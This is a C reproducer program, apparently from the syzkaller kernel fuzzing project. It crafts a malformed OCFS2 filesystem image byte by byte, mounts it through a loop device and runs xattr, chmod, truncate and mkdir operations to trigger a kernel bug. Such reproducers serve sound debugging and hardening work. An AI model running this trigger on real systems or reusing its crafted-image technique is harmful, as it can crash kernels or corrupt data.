// https://syzkaller.appspot.com/bug?id=8386399eb693ae8f6238629d1c676afbadc68b6d #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define BLOCK_SIZE 4096 #define IMG_SIZE (16 * 1024 * 1024) unsigned char *img; void setup_allocator(uint8_t *ino, int ino_blkno, int bg_blkno, int is_cluster) { int total_bits = 4096; int used_bits = 128; int free_bits = total_bits - used_bits; *(uint32_t*)(ino + 0xB8 + 0) = used_bits; // i_used *(uint32_t*)(ino + 0xB8 + 4) = total_bits; // i_total *(uint16_t*)(ino + 0xC0 + 0) = total_bits; // cl_cpg *(uint16_t*)(ino + 0xC0 + 2) = 1; // cl_bpc *(uint16_t*)(ino + 0xC0 + 4) = 243; // cl_count *(uint16_t*)(ino + 0xC0 + 6) = 1; // cl_next_free_rec uint8_t *rec = ino + 0xC0 + 16; *(uint32_t*)(rec + 0) = free_bits; // c_free *(uint32_t*)(rec + 4) = total_bits; // c_total *(uint64_t*)(rec + 8) = bg_blkno; // c_blkno if (is_cluster) { *(uint32_t*)(ino + 0x14) = total_bits; // i_clusters *(uint64_t*)(ino + 0x20) = total_bits * 4096ULL; // i_size } else { *(uint32_t*)(ino + 0x14) = 0; // i_clusters *(uint64_t*)(ino + 0x20) = total_bits * 4096ULL; // i_size } uint8_t *bg = img + bg_blkno * BLOCK_SIZE; strcpy((char*)bg, "GROUP01"); *(uint16_t*)(bg + 8) = 4032; // bg_size *(uint16_t*)(bg + 10) = total_bits; // bg_bits *(uint16_t*)(bg + 12) = free_bits; // bg_free_bits_count *(uint16_t*)(bg + 14) = 0; // bg_chain *(uint16_t*)(bg + 20) = free_bits; // bg_contig_free_bits *(uint64_t*)(bg + 32) = ino_blkno; // bg_parent_dinode *(uint64_t*)(bg + 40) = bg_blkno; // bg_blkno memset(bg + 64, 0xFF, used_bits / 8); // Mark first used_bits as used } void setup_dummy_image() { img = calloc(1, IMG_SIZE); if (!img) exit(1); // Block 2: Superblock uint8_t *sb = img + 2 * BLOCK_SIZE; strcpy((char*)sb, "OCFSV2"); *(uint64_t*)(sb + 0x50) = 2; // i_blkno *(uint32_t*)(sb + 0x14) = 4096; // i_clusters *(uint32_t*)(sb + 0x2C) = 0x21; // i_flags (VALID | SUPER_BLOCK) uint8_t *id2 = sb + 0xC0; *(uint16_t*)(id2 + 0x00) = 0; // s_major_rev_level *(uint16_t*)(id2 + 0x02) = 90; // s_minor_rev_level *(uint32_t*)(id2 + 0x20) = 0x0208; // s_feature_incompat (LOCAL_MOUNT | XATTR) *(uint64_t*)(id2 + 0x28) = 3; // s_root_blkno *(uint64_t*)(id2 + 0x30) = 4; // s_system_dir_blkno *(uint32_t*)(id2 + 0x38) = 12; // s_blocksize_bits *(uint32_t*)(id2 + 0x3C) = 12; // s_clustersize_bits *(uint16_t*)(id2 + 0x40) = 1; // s_max_slots *(uint64_t*)(id2 + 0x48) = 3018; // s_first_cluster_group *(uint16_t*)(id2 + 0xB8) = 256; // s_xattr_inline_size // Block 3: Root directory uint8_t *root = img + 3 * BLOCK_SIZE; strcpy((char*)root, "INODE01"); *(uint64_t*)(root + 0x50) = 3; // i_blkno *(uint16_t*)(root + 0x28) = S_IFDIR | 0755; // i_mode *(uint64_t*)(root + 0x20) = BLOCK_SIZE; // i_size *(uint32_t*)(root + 0x14) = 1; // i_clusters *(uint16_t*)(root + 0x2A) = 2; // i_links_count *(uint32_t*)(root + 0x2C) = 0x11; // i_flags (VALID | SYSTEM) uint8_t *root_el = root + 0xC0; *(uint16_t*)(root_el + 2) = 1; // l_count *(uint16_t*)(root_el + 4) = 1; // l_next_free_rec uint8_t *root_rec = root_el + 16; *(uint32_t*)(root_rec + 0) = 0; // e_cpos *(uint16_t*)(root_rec + 4) = 1; // e_leaf_clusters *(uint64_t*)(root_rec + 8) = 3000; // e_blkno uint8_t *root_data = img + 3000 * BLOCK_SIZE; *(uint64_t*)(root_data + 0) = 3; // inode *(uint16_t*)(root_data + 8) = 16; // rec_len *(uint8_t*)(root_data + 10) = 1; // name_len *(uint8_t*)(root_data + 11) = 2; // file_type strcpy((char*)(root_data + 12), "."); *(uint64_t*)(root_data + 16) = 3; // inode *(uint16_t*)(root_data + 24) = BLOCK_SIZE - 16; // rec_len *(uint8_t*)(root_data + 26) = 2; // name_len *(uint8_t*)(root_data + 27) = 2; // file_type strcpy((char*)(root_data + 28), ".."); // Block 4: System directory uint8_t *sysdir = img + 4 * BLOCK_SIZE; strcpy((char*)sysdir, "INODE01"); *(uint64_t*)(sysdir + 0x50) = 4; // i_blkno *(uint16_t*)(sysdir + 0x28) = S_IFDIR | 0755; // i_mode *(uint64_t*)(sysdir + 0x20) = BLOCK_SIZE; // i_size *(uint32_t*)(sysdir + 0x14) = 1; // i_clusters *(uint16_t*)(sysdir + 0x2A) = 2; // i_links_count *(uint32_t*)(sysdir + 0x2C) = 0x11; // i_flags (VALID | SYSTEM) uint8_t *sysdir_el = sysdir + 0xC0; *(uint16_t*)(sysdir_el + 2) = 1; // l_count *(uint16_t*)(sysdir_el + 4) = 1; // l_next_free_rec uint8_t *sysdir_rec = sysdir_el + 16; *(uint32_t*)(sysdir_rec + 0) = 0; // e_cpos *(uint16_t*)(sysdir_rec + 4) = 1; // e_leaf_clusters *(uint64_t*)(sysdir_rec + 8) = 5; // e_blkno // Block 5: System directory data uint8_t *sysdir_data = img + 5 * BLOCK_SIZE; int offset = 0; const char *sys_files[] = { "bad_blocks", "global_inode_alloc", "slot_map", "heartbeat", "global_bitmap", "orphan_dir:0000", "extent_alloc:0000", "inode_alloc:0000", "journal:0000", "local_alloc:0000", "truncate_log:0000" }; for (int i = 0; i < 11; i++) { uint8_t *de = sysdir_data + offset; *(uint64_t*)(de + 0) = 6 + i; // inode int name_len = strlen(sys_files[i]); int rec_len = (12 + name_len + 3) & ~3; if (i == 10) rec_len = BLOCK_SIZE - offset; // last record *(uint16_t*)(de + 8) = rec_len; *(uint8_t*)(de + 10) = name_len; *(uint8_t*)(de + 11) = 1; // file_type (regular) strcpy((char*)(de + 12), sys_files[i]); offset += rec_len; uint8_t *ino = img + (6 + i) * BLOCK_SIZE; strcpy((char*)ino, "INODE01"); *(uint64_t*)(ino + 0x50) = 6 + i; *(uint16_t*)(ino + 0x28) = S_IFREG | 0644; *(uint64_t*)(ino + 0x20) = 0; // size *(uint32_t*)(ino + 0x14) = 0; // clusters *(uint16_t*)(ino + 0x2A) = 1; // links_count *(uint16_t*)(ino + 0xC0 + 2) = 243; // default l_count uint32_t flags = 0x11; if (strcmp(sys_files[i], "local_alloc:0000") == 0) { flags = 0xD1; *(uint32_t*)(ino + 0xC0 + 0) = 0; // Reset la_bm_off to 0 (clears the 243) *(uint16_t*)(ino + 0xC0 + 4) = 3888; // la_size *(uint32_t*)(ino + 0xB8 + 0) = 0; // i_used *(uint32_t*)(ino + 0xB8 + 4) = 0; // i_total } else if (strcmp(sys_files[i], "truncate_log:0000") == 0) { flags = 0x811; *(uint16_t*)(ino + 0xC0 + 0) = 243; // tl_count *(uint16_t*)(ino + 0xC0 + 2) = 0; // Reset tl_used to 0 (clears the 243) } else if (strcmp(sys_files[i], "global_bitmap") == 0) { flags = 0x491; setup_allocator(ino, 6 + i, 3018, 1); } else if (strcmp(sys_files[i], "global_inode_alloc") == 0) { flags = 0x491; setup_allocator(ino, 6 + i, 3019, 0); } else if (strcmp(sys_files[i], "extent_alloc:0000") == 0) { flags = 0x491; setup_allocator(ino, 6 + i, 3020, 0); } else if (strcmp(sys_files[i], "inode_alloc:0000") == 0) { flags = 0x491; setup_allocator(ino, 6 + i, 3021, 0); } else if (strcmp(sys_files[i], "journal:0000") == 0) { flags = 0x111; *(uint64_t*)(ino + 0x20) = 2048 * 4096; // 2048 clusters *(uint32_t*)(ino + 0x14) = 2048; // 2048 clusters uint8_t *el = ino + 0xC0; *(uint16_t*)(el + 2) = 1; // l_count *(uint16_t*)(el + 4) = 1; // l_next_free_rec uint8_t *rec = el + 16; *(uint32_t*)(rec + 0) = 0; // e_cpos *(uint16_t*)(rec + 4) = 2048; // e_leaf_clusters *(uint64_t*)(rec + 8) = 22; // e_blkno } else if (strcmp(sys_files[i], "slot_map") == 0) { *(uint64_t*)(ino + 0x20) = BLOCK_SIZE; // size *(uint32_t*)(ino + 0x14) = 1; // clusters uint8_t *el = ino + 0xC0; *(uint16_t*)(el + 2) = 1; // l_count *(uint16_t*)(el + 4) = 1; // l_next_free_rec uint8_t *rec = el + 16; *(uint32_t*)(rec + 0) = 0; // e_cpos *(uint16_t*)(rec + 4) = 1; // e_leaf_clusters *(uint64_t*)(rec + 8) = 3001; // e_blkno } else if (strcmp(sys_files[i], "orphan_dir:0000") == 0) { *(uint8_t*)(de + 11) = 2; // directory *(uint16_t*)(ino + 0x28) = S_IFDIR | 0755; *(uint64_t*)(ino + 0x20) = BLOCK_SIZE; // size *(uint32_t*)(ino + 0x14) = 1; // clusters uint8_t *el = ino + 0xC0; *(uint16_t*)(el + 2) = 1; // l_count *(uint16_t*)(el + 4) = 1; // l_next_free_rec uint8_t *rec = el + 16; *(uint32_t*)(rec + 0) = 0; // e_cpos *(uint16_t*)(rec + 4) = 1; // e_leaf_clusters *(uint64_t*)(rec + 8) = 3002; // e_blkno uint8_t *orphan_data = img + 3002 * BLOCK_SIZE; *(uint64_t*)(orphan_data + 0) = 6 + i; // inode *(uint16_t*)(orphan_data + 8) = 16; // rec_len *(uint8_t*)(orphan_data + 10) = 1; // name_len *(uint8_t*)(orphan_data + 11) = 2; // file_type strcpy((char*)(orphan_data + 12), "."); *(uint64_t*)(orphan_data + 16) = 6 + i; // inode *(uint16_t*)(orphan_data + 24) = BLOCK_SIZE - 16; // rec_len *(uint8_t*)(orphan_data + 26) = 2; // name_len *(uint8_t*)(orphan_data + 27) = 2; // file_type strcpy((char*)(orphan_data + 28), ".."); } *(uint32_t*)(ino + 0x2C) = flags; } // Block 22: Journal Superblock uint8_t *jsb = img + 22 * BLOCK_SIZE; *(uint32_t*)(jsb + 0) = htonl(0xc03b3998); // h_magic *(uint32_t*)(jsb + 4) = htonl(3); // h_blocktype (JBD2_SUPERBLOCK_V1) *(uint32_t*)(jsb + 12) = htonl(4096); // s_blocksize *(uint32_t*)(jsb + 16) = htonl(2048); // s_maxlen *(uint32_t*)(jsb + 20) = htonl(1); // s_first *(uint32_t*)(jsb + 24) = htonl(1); // s_sequence *(uint32_t*)(jsb + 28) = htonl(0); // s_start // Block 3001: Slot map data uint8_t *slot_map_data = img + 3001 * BLOCK_SIZE; memset(slot_map_data, 0xFF, BLOCK_SIZE); *(uint16_t*)(slot_map_data + 0) = 0; // Slot 0 is node 0 } void setup_loop_and_mount() { setup_dummy_image(); int fd = open("/tmp/ocfs2.img", O_RDWR | O_CREAT, 0666); if (fd < 0) { printf("[-] Failed to open /tmp/ocfs2.img: %s\n", strerror(errno)); exit(1); } if (write(fd, img, IMG_SIZE) != IMG_SIZE) { printf("[-] Failed to write image: %s\n", strerror(errno)); exit(1); } close(fd); int loop_ctl = open("/dev/loop-control", O_RDWR); if (loop_ctl < 0) { printf("[-] Failed to open loop-control: %s\n", strerror(errno)); exit(1); } int dev_nr = ioctl(loop_ctl, LOOP_CTL_GET_FREE); if (dev_nr < 0) { printf("[-] Failed to get free loop device: %s\n", strerror(errno)); exit(1); } close(loop_ctl); char loop_name[64]; sprintf(loop_name, "/dev/loop%d", dev_nr); int loop_fd = open(loop_name, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open loop device %s: %s\n", loop_name, strerror(errno)); exit(1); } fd = open("/tmp/ocfs2.img", O_RDWR); if (fd < 0) { printf("[-] Failed to reopen /tmp/ocfs2.img: %s\n", strerror(errno)); exit(1); } if (ioctl(loop_fd, LOOP_SET_FD, fd) < 0) { printf("[-] Failed to set loop fd: %s\n", strerror(errno)); exit(1); } close(fd); close(loop_fd); if (mkdir("/mnt/ocfs2", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir /mnt/ocfs2: %s\n", strerror(errno)); exit(1); } if (mount(loop_name, "/mnt/ocfs2", "ocfs2", 0, "heartbeat=none") < 0) { printf("[-] Failed to mount ocfs2: %s\n", strerror(errno)); exit(1); } printf("[+] mount successful.\n"); } int main() { setvbuf(stdout, NULL, _IONBF, 0); setup_loop_and_mount(); int fd = open("/mnt/ocfs2/file1", O_RDWR | O_CREAT, 0666); if (fd >= 0) { if (fsetxattr(fd, "user.test", "value", 5, 0) < 0) { printf("[-] Failed to fsetxattr: %s\n", strerror(errno)); } else { printf("[+] fsetxattr successful.\n"); } if (fchmod(fd, 0777) < 0) { printf("[-] Failed to fchmod: %s\n", strerror(errno)); } else { printf("[+] fchmod successful.\n"); } if (ftruncate(fd, 0) < 0) { printf("[-] Failed to ftruncate: %s\n", strerror(errno)); } else { printf("[+] ftruncate successful.\n"); } close(fd); } else { printf("[-] Failed to open /mnt/ocfs2/file1: %s\n", strerror(errno)); } if (mkdir("/mnt/ocfs2/dir1", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir /mnt/ocfs2/dir1: %s\n", strerror(errno)); } else { printf("[+] mkdir successful.\n"); } printf("[+] Done.\n"); return 0; }